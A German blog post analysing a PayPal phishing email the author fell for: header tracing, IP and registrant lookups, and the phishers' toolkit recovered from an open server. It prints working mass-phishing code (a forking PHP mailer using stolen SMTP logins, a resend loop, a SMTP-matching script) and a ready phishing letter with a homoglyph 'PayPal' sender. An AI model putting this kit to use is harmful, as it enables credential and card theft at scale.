Analyse einer „PayPal“ Phishing Mail aus meinem Postfach


Grad heute musste ich mal wieder den PayPal Account reaktivieren. Gemäss Betreff:  „wichtig: Aktualisieren sie ihre Kontoinformationen“ … aufgrund ungewöhnlicher Aktivitäten… …zum Schutz ihres Kontos… Also schnell mal den link geklickt. Dabei wollte ich schon Nachhause, aber was wäre die Heimreise im Zug ohne Musik aus der Music App. Diese  kostet aber und darf sich monatlich automatisch ihren Betrag von meinem Konto abbuchen. Dies ging mir durch den Kopf, das ich das lieber grad schnell noch das PayPal Passwort ändere, ansonsten später irgendeine „lebenswichtige“ App ihren Dienst verweigern könnte.

Das Web-Formular forderte mich auf Name und Vorname zu bestätigen, Angaben zur Kreditkarte zu machen und sogar das Bankkonto, he! wozu denn das? Click – mal sehen ob’s auch ohne geht, nein rotes Feld – fehlende Information. Das Feld hätten sich vielleicht besser nicht rot markiert. Meine Aufmerksamkeit wurde erweckt, Sicherheit? – SSL? – Blick auf die Seite zeigt mir ein wohlbekanntes Symbol, ein Vorhängeschloss. Aber was macht denn das mitten auf der Seite? Ist das „s“ in der Adresszeile? kein https! sondern eine ungesicherte Leitung und da hatte ich eben meine Kreditkarten Details eingetippt?!

Ich konnte es kaum fassen, hab ich jetzt eben einfach so meine Kreditkarten Details in ein Web-Formular eingetippt? So was dürfte mir nicht passieren, mein Stoische Ruhe wich einer gewissen Aufgeregtheit, bevor die sachliche Kühle wieder kehrte. Jetzt hatte zum ersten mal, die bisher steht’s kühn vermiedenen Fehler gemacht und bin auf ein Phishing Mail reingefallen.

Klar: keine Bank oder PayPal würde per Email sensible Daten einfordern und dazu einen Link anbieten.

Immer: Bevor Kreditkarten Details eingegeben werden, Kontrollblickblick auf die http-Verbindung.

So abgedroschen die PayPal Masche auch sein mag, man hat scheinbar dazu gelernt und macht jetzt keine grammatikalischen oder formellen Schreibfehler mehr.

Nachdem Passwörter geändert, Kreditkarte gesperrt waren, wollte ich doch noch genauer wissen wer da was mit mir und wofür gemacht hat.

Die Phishing Seite konnte ich leider nicht nochmals öffnen, sie wurde entweder sofort gelöscht oder der Benutzer entfernt. Doch konnte ich interessantes ans Licht bringen. Nachfolgend dazu mehr…

Der Absender, also die IP Adresse von wo aus die Mail versandt wurde lässt sich zu einem IP-Range zuordnen, der auf dem Data-Center „Thor“ in Island gehostet wird und durch die „WM-Security“ in Kroatien registriert wurde. Eine Adresse in der Nähe Bjelovar, Klokočevac gehört zu 43211 Predavac, angegeben wurde jedoch Klokocevac 53, Klokocevac 00053. Die Adresse wurde verfälscht und sagt nichts aus. Eine Firma mit der Bezeichnung WM-Security findet sich nicht in Kroatien und keine derer IP’s liefern brauchbare Informationen, ausser für Hacker, dazu später mehr.

Dies ist die „PayPal“ Email die in meinem Postfach landete.

SpamMailPayPal nslookup

Schauen wir uns den Header mal etwas genauer an:

Return-path: michaelgraul@countryjunction.com

Der Eintrag im Return-path kann beliebig gesetzt werden. Countryjunction ist eine Handwerker Laden Kette in den USA / New York

Envelope-to: webmaster@mydomain.ch
Delivery-date: Thu, 21 Nov 2013 05:17:14 +0100
Received:

from as2.vertex.net ([66.109.241.172])
as2.vertex.net 66.109.241.172 ist ein Mailserver, die Abfrage des MX Records bei vertex.net liefert als Antwort as1.vertex.net. AS1 und  AS2 sind ein Nachrichten Übertragungsstandard für sichern Mail Transport. Beide Server „hören“ auf Port 25, ein potenzielles Sicherheitsrisiko. Die Server sind aber scheinbar sauber konfiguriert, kein open-Relay, man bracht zum Mailen also einen Benutzer Account. ( Vertex.net sitzt in den USA (66.109.241.95 LYLAB – Technology Solutions) wird vom ISP Windstream.com gehostet. Deren IP Ranges sind 66.109.241.0 – 66.109.241.255 und 66.109.224.0 – 66.109.255.255. Vertex.net betreibt DNS Server:  66.216.170.25 und  66.109.241.25
by webserver.ch with esmtp (Exim 4.69)
Exim 4.69 Version des Mailservers dort hole ich mit meinem Client meine Mails ab.
as2.vertex.net
(envelope-from <michaelgraul@countryjunction.com>)
id 1VjLha-0005qo-8h
for webmaster@mydomain.ch; Thu, 21 Nov 2013 05:17:14 +0100
Zeit und Datum sind Identisch mit Delivery-Date
X-AuditID: 426df1ac-f79276d000001135-e6-528d894876ea
X-AuditID wird von Symantec Message Gateway verwendet. Gemäss RFC822 sind alle „X-“ Header Zeilen nicht Teil des Standards und können beliebig verwendet werden werden. Symantec verwendet sie um zu Bekämpfung von SPAM. Die AuditID wird mit den Message Audit Logs abgeglichen, falls die ID existiert sind Details über die Nachricht sowie dem Brightmail Tracker vorhanden.
Received:
from falcon.vertex.net (falcon.vertex.net [66.216.170.58])
by as2.vertex.net (AS2 Mail Gateway) with SMTP id 6C.32.04405.8498D825; Wed, 20 Nov 2013 23:17:12 -0500 (EST)
EST time hat 6 Stunden Unterschied zu Local-Time also dauerte die Zustellung 2 Sec.
Received:
from localhost.localdomain ([82.221.102.181])
ausser der IP in eckigen Klammern kann die Zeile Manipuliert werden, (rfc5322), IP 82.221.102.181 ist im Datacenter THOR in Island gehosted ebenfalls offen auf Port 25. Update: ein par Tage später antwortet der Server erst mal gar nicht mehr. der IP Range 82.221.102.176 – 82.221.102.181 – 82.221.102.191 ist registriert auf Vjekoslav Bogovic, Klokocevac 53, Klokocevac 00053, Croatia.
by falcon.vertex.net with MailEnable ESMTP; Wed, 20 Nov 2013 23:16:52 -0500
 
Date: Thu, 21 Nov 2013 04:16:43 +0000
To: webmaster@mydomain.ch
From: =?utf-8?B?UNCweVDQsGw=?= <michaelgraul@countryjunction.com>
base64 Codiert: „UNCweVDQsGw=“ -> Decodiert -> utf8 String = „PayPal“. Der Angezeigte Email Absender (Nickname)
Subject: Wichtig: Aktualisieren Ihrer Kontoinformationen
Message-ID: <b8cde9bfdda3cfe32980d5e4c1729b22@localhost.localdomain>
Wenn der Hostname in der Konfiguration des Mail Servers nicht definiert wird steht dort Default „Localhost.localdomain“. Eigentlich sollte damit die Mail im Spam landen, stattdessen wurde sie durch falcon.vertex.net bei der Weiterleitung mit einem X-Brightmail-Tracker versehen. Eventuell aufgrund einer Fehlkonfiguration, Sicherheitslücke oder besonderem Vorgehen.
X-Priority: 3
X-Mailer: PHPMailer 5.2.2-rc2
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset=utf-8
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFprCLMWRmVeSWpSXmKPExsXidGOVla5HZ2+QwcPX6hZLZk1hdGD0eLBo
MUsAYxSXTUpqTmZZapG+XQJXxsLpDewFb7kqLrReY25gfMbZxcjJISFgInHo9hp2CFtM4sK9
9WwgtpDAFkaJdVPquhi5gOxmRon2B58ZQRIsAqoSpzbcY4Yo0pU4frqfpYuRg0NEQE7i/5Vc
kDCbgKPEu4fnweYIC1hIbPn8hhXE5hVwkdiz9xTULl6JGe1PWSBsWYmO2x2MEDWCEidnPgGL
MwvIS2x/O4cZZDyzgJrEslalCYz8s5BUzUJSNQuhagEj8ypGvsRiIz2g10tSK/TyUks2MYLC
Kvfjmh2Mu3t1DzEKcDAq8fAer+0NEmJNLCuuzD3EKMHBrCTCe6wSKMSbklhZlVqUH19UmpNa
fIhRmoNFSZx3hfHLQCGB9MSS1OzU1ILUIpgsEwenVANj79TE6fxfMpbrXONIMwmeVdT756Ys
q8fOdX1HWV+Hn46en3fntimbqGqAZdTbWZOm8ouuP2RWfyXP4ZPNlNgjN4JZHS0sZyy/9Dov
6tsBdp0ZG1rXCR/32LviTFCdzPP/t3fJKM1fXHI9bdKLsMW/8/gmXpc6tfV2+tGQ5+niM3eW
mujevnHJS4mlOCPRUIu5qDgRACRc8UsnAgAA
X-Brightmail-Tracker ist Base64 kodiert und gzip komprimiert. Im Screenshot rechts erkennt man das darin Details über die Übermittlung der Nachricht enthalten sind.

 

MXRecord_as1.vertex.net

Telnet_as1.vertex.net2

as2.vertex.net

ehlofalcon

UbuntuServerThor

Base64_gunzip

 

Skyrr, eine der grössten IT Service Provider Iceland’s is die Eigentümerin von Thor Daten-Center.

THOR Data-Center ehf ist ein Daten-Center das Mass Data Storage Lösungen anbietet, IP Range 82.221.0.0 – 82.221.255.255. Vorwiegend für Kunden in Europa und den USA. Ein Kunde Beispielsweise ist der Web/VPS-Hosting und dedicated Server Anbieter urpad.net mit beispielsweise einem IP Range von 82.221.99.0 – 82.221.99.127.

Weitere Kunden:

82.221.102.0 – 82.221.102.31 und 82.221.102.64 – 82.221.102.95

IS-CONNAISSANCES-HUT, connaissances Hut Training & Consulting (e-Learning)

Registriert von Prashanth A #70, Lakshmi Complex , 100 Feet Ring Road J.P. Nagar 6th Phase, Bangalore -560078

82.221.102.32 – 82.221.102.55

IS-CYBERGHOST, Cyberghost S.R.L. IP Network (Anonymisierungs-Dienst)

Registriert on: Eugen Mocanu, Soseaua Nicolae Titulescu, Bucharest, Romania

82.221.102.56 – 82.221.102.63

IS-PETROSYAN, PETROSYAN NETWORK

Registriert von: Vladimir Petrosyan, Russia

„WM-Security“ Der Betreiber der Phishing Infrastruktur,

82.221.102.176 – 82.221.102.181 – 82.221.102.191 und 82.221.99.224 – 82.221.99.239 und 82.221.103.160 – 82.221.103.175

IS-WM-SECURITY, WM-SECURITY,

Registriert von: Vjekoslav Bogovic, Klokocevac 53, Klokocevac 00053, Croatia

Geschäftliche Tätigkeiten in Kroatione von WM-SECURITY konnte ich keine nachprüfen.

Aufgrund Qualität der deutschen Sprache im Phishing Mail,  müsste man auf Anhieb eigentlich keinen Verdacht schöpfen.

Interessanten Entdeckungen innerhalb des IP Ranges von WM-Security.

82.221.102.178 iDRAC7 Dell Remote Access

hiermit wollen wir uns weiter auseinander setzen.

http://82.221.102.182/ Zeigt mir heute eine Verzeichnis Struktur mit verschiedenen Dateien. Bei genauerer Betrachtung stelle ich fest das es sich um das Instrumentarium handelt, welches eben die hier besprochene Phishing-Site generiert hat. Die Files sind ganz neu und es kommen laufend weitere dazu.

82.221.103.170 Blocket.se Phishing Site imitiert die Original Seite in Norwegen. Was genau da läuft entzieht sich meinen Kenntnissen. Interessant sicher ist der Seiten Quellcode ich werde am Schluss ein par „Schnipsel“ einfügen.

82.221.103.173 iDRAC7 Dell Remote Access

Die PayPal Phishing Mail ist das Resultat einer komplexen Struktur, einer Sammlung von automatisierten Scripts und generierten Logs wie listen von Hosts und Email Adressen etc. Der Versand der Mail ist ja bei weitem nicht das Ende des Prozesses. Wird der darin geführte Link an geklickt, landet man auf einer Webseite die als Formular gestaltet zur Eingaben von Konto-, Bank- und persönlichen Daten auffordert. Ob in unsichtbaren iframes zusätzlich noch Java-Script Code ausgeführt wird, konnte ich in diesem Fall nicht überprüfen. Die richtigen Browsereinstellungen vorausgesetzt, würde ein solcher Angriff aber erfolglos bleiben. Es war nicht möglich die Seite ein weiteres mal auf zu rufen. Sei’s weil die Subdomain nicht mehr existiert oder die Zugangsberechtigung, welche aus der Kodierten Emailadresse bestand, gelöscht wurde. Hätten die Hacker die Kreditkaten Daten erfolgreich speichern können, hätten sie versucht die Karte zu belasten. Zu Test-Zwecken erst nur mit einem kleineren Betrag. Wäre dieser Erfolgreich verlaufen hätten später wahrscheinlich weitere Versuche erfolgt. Das ganze läuft weitgehend automatisiert ab. Wie auch das Auffinden von Servern mit Sicherheitslücken oder das Hacken durch Brut-Force Angriffen mit dem Ziel Spam zu versenden. Wie bereits erwähnt wurde ich auf der IP 82.221.102.182 fündig, sei’s aufgrund von Fehlern seitens der Hacker oder Gleichgültigkeit, es wurde mir Einblick in das Schaffen der Spamer, phisher und Hacker ermöglicht.

Nach dem Entpacken eines Files im *.tar Format von dieser Seite, stiess ich auf genau die Scripts aus welchen die Phishing Mail in meinem Postfach erfolgte.

Es sind im wesentlichen die folgenden:

  • start.php
  • config.php
  • sender.php
  • class.phpmailer.php
  • letter.html
Die start.php führt in einer Schleife mit bestimmten Kriterien die sender.php aus. Das Script legt zwischen den einzelnen Versuchen eine Pause ein. Die Ergebnisse werden weiterverwendet und in Logs (emails) gespeichert.

start.php

while true
    do
        ./php2 sender.php
        sleep 30
        a=`wc -l FAILED|awk '{print $1}'`;
        if [ $a -lt 100 ]
            then
                break;
        fi
        awk '{print $1}' FAILED > emails
        rm -rf FAILED
	cat smtps|shuf > sss; mv sss smtps
    done

In der Sender.php,der „function send“ auf Zeile 14 wird die letter.html definiert.

sender.php

<?php

require("./src/class.phpmailer.php");
require("config.php");

declare(ticks = 1);
error_reporting(1);

$child=0;
$i=0;
$q=0;
$smtp = "smtps";
$email = "emails";
$letter = file_get_contents('letter.html');

function send($host,$port,$encryption,$username,$password,$from,$fromname,$to,$subject,$html)
    {
        $mail = new PHPMailer();
        $mail->IsSMTP();
#        $mail->SMTPDebug  = 2;
        $mail->SMTPAuth = true;
        if ( $encryption != "plain" )
            {
                $mail->SMTPSecure = "$encryption";
            }
        $mail->Host = $host;
        $mail->Port= $port;
        $mail->Username = $username;
        $mail->Password = $password;
        $mail->From = $from;
        $mail->FromName = $fromname;
        $mail->ClearAddresses();
        $mail->AddAddress($to);
        $mail->Subject = $subject;
#       $mail->IsHTML(true);
#       $mail->Body = $html;
        $mail->MsgHTML($html);
        $mail->AltBody  =  "";
        return $mail->Send();
    }
In der Zeile 99 wird der Link, welcher von der Email auf die Phishig Seite führt, generiert. In der Zeile 94 wird die jeweilige Emailadresse Base64 Codiert. ( http://i7wxisi0p2.n020n.com/de/?d2VibWFzdGVyQG15c2hvcC5jaA==)

sender.php

$content2=file($smtp);
for ($j=0;$j<count($content2);$j++)
    {
        $smtps[$j] = explode(' ', $content2[$j]);
    }

$content=file($email);
for($i=0;$i<count($content);$i++)
    {
        if($q==(count($content2)))
            {
                $q=0;
            }
        $emails[$i] = str_replace("\n","", $content[$i]);
        $pids[$child] = pcntl_fork();

        if($pids[$child] == -1)
            {
                die("Could not fork!");
            }
        elseif($pids[$child] == 0)
            {
                $smtps[$q][4]=str_replace("\n","",$smtps[$q][4]);
                $ip=$smtps[$q][0];
                $port=$smtps[$q][1];
                $encryption=$smtps[$q][2];
                $user=$smtps[$q][3];
                $pass=$smtps[$q][4];
                $enc_email=base64_encode($emails[$i]);
                $link2=str_replace("@","-",$emails[$i]);
                $link2=str_replace("_","-",$link2);
            	$letter=ereg_replace('/[\]/',"",$letter);
                $letter=ereg_replace("&email&",$emails[$i],$letter);
                $l=$link.Random(10).".r".rand(1,1000).".".$domeniu."/de/?".$enc_email;
#                echo $l;
                $letter=ereg_replace("&link&",$l,$letter);
                $letter=ereg_replace("&date&",date("d.m.Y"),$letter);

                if($test_smtp==1)
                    {
                        $subject=$ip." ".$port." ".$encryption." ".$user." ".$pass." ".$subject;
                    }

                $to=$emails[$i];
//                if(send($ip,$port,$encryption,$user,$pass,"confirm-".Random(4)."@".$domeniu,$sender_name, $emails[$i],$subject,$letter))
                if(send($ip,$port,$encryption,$user,$pass,$user,$sender_name, $emails[$i],$subject,$letter))
                    {
                        $myFile = "SENT";
                        $fh = fopen($myFile, 'a+');
                        $data1 = $to." ".$ip.":".$user."\n";
                        fwrite($fh, $data1);
                        fclose($fh);
                        echo ($i+1)." -> ".$to." -> ".$ip.":".$user." -> \033[1;32mSENT\033[37m\n";
                    }
                else
                    {
                        $myFile = "FAILED";
                        $fh = fopen($myFile, 'a+');
                        $data1 = $to." ".$ip.":".$user."\n";
                        fwrite($fh, $data1);
                        fclose($fh);
                        echo ($i+1)." -> ".$to." -> ".$ip.":".$user." -> \033[1;31mFAILED\033[37m\n";
                    }
                posix_kill(getmypid(), 9);
            }
        else
            {
                $child++;
                if($child == $max )
                    {
                        pcntl_wait($status);
                        $child--;
                    }
            }
        $q++;
    }
?>
Die config.php betrifft nicht genau die Attacke deren ich ausgesetz war. Die Variable $domeniu ist in dem Fall = „p4ym3.com“. Die Variable $domeniu wird im Script sender.php oben Zeile 99 referenziert. In meiner Mail hies die Domain „n020n.com“

config.php

<?php
$max=150;
$test_smtp=0;
$domeniu="p4ym3.com";
$link="http://";
$sender_name="ΡaуΡаl";
$subject="Wichtig: Ungewöhnliche Aktivitäten in Ihrem Konto";
?>

letter.html

<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>
<img src="http://images.paypal.com/en_US/i/logo/logo_emailheader_113wx46h.gif"><br>

<p style="margin-left:0.3cm;">
<font style="font: Verdana , Arial , Helvetica , sans-serif;color: rgb(51,51,51);">
<h4>Loggen Sie sich so bald wie möglich in Ihr Konto ein</h4>
</font>
<font style="font: 13.0px Verdana , Arial , Helvetica , sans-serif;color: rgb(51,51,51);">
<b>Guten Tag!</b><br><br>
Wir haben in Ihrem Konto ungewöhnliche Aktivitäten festgestellt. Loggen Sie sich bei Konto ein,<br> 
um Ihre Identität zu bestätigen. Solange uns diese Informationen nicht zur Verfügung stehen, ist<br>
Ihr Zugang zu vertraulichen Kontofunktionen eingeschränkt. Wir möchten Ihren Zugang<br>
 schnellstmöglich wiederherstellen und entschuldigen uns für diese Unannehmlichkeit.<br><br>

<b>Was ist los?</b><br><br>

Wir haben in Ihrem Konto ungewöhnliche Aktivitäten festgestellt. Das sollten Sie tun Loggen Sie<br>
sich so bald wie möglich in Ihr Konto ein. Wir bitten Sie möglicherweise, Informationen zu<br> 
bestätigen, die Sie beim Eröffnen Ihres Kontos angegeben haben. So wird sichergestellt,<br>
dass Sie der Kontoinhaber sind.<br><br>
<b>Klicken Sie auf den nachfolgenden Link:</b>
<br><br>
<a href="&link&"><b>Schützen Sie Ihr Konto</b></a>
<br><br>
<b>Wie geht es nun weiter?</b>
<br><br>
Lassen Sie uns Ihr Konto gemeinsam wiederherstellen. Nachdem Sie alle Schritte durchgeführt<br> 
haben, antworten wir Ihnen innerhalb von 72 Stunden.<br>
<br>
<b>Viele Grüße</b>
</p>
<br>
</font>
In der Zeile 6 in dieses Shell Scripts check.smtp.sh wird der Inhalt einer Datei domains.cfg abgearbeitet. Es handelt sich um eine Liste mit vermeintlichen Mailservern mit Angabe des Ports und der Authentifizierungs Methode welche Ausprobiert werden soll.
Beispiel: Zeilen Domains.cfg
123mail.dk mail.telenor.dk 587 tls
12fuel.dk mail.telenor.dk 587 tls

check.smtp.sh

#!/bin/bash

while read i
    do
        domain=`echo $i|awk '{print $1}'|awk -F \@ '{print $2}'`;
        if cat ./src/domains.cfg|grep "^$domain " &> /dev/null
            then
                smtp=`cat ./src/domains.cfg|grep "^$domain "|awk '{print $2" "$3" "$4}'`;
                echo "$smtp $i" >> smtps-checked
            else
                echo "$i" >> notfound
        fi
    done < $1

 

Das es mir nicht möglich war das Web-Formular erneut zu öffnen, muss ich mit der URL aus der config.php vorlieb nehmen. Beim Aufruf von „p4ym3.com“ meldet der Browser das das öffnen einer Seite mit unbekanntem Zertifikat Gefahren birgt. In dem Fall wurde der Warnhinweis aufgrund nicht übereinstimmen des Zertifikats mit dem Domain Name ausgegeben. Interessanter weise handelt es sich um den öffentlichen Schlüssel eines PayPal Zertifikates.

P4ym3_ServerZertifikatsiche

P4ym3_ServerZertifikat

Die DNS Auflösung der URL verweist auf mehrere Einträge und nur einige davon sind korrekte PayPal URL. Registrar der IP ist richtigerweise EBAY Inc. Der revers Lookup jedoch zeigt, das es in diesem Fall eine Form von von DNS spoofing gibt.

nslooupP4ym3

 

VirustotalPassiveDNS66.211.168.132

 

nslooupreversP4ym3

Update: eine Woche später taucht die URL ebenfalls in der Virus-Total Liste auf.

 

VirustotalPassive1WeekLater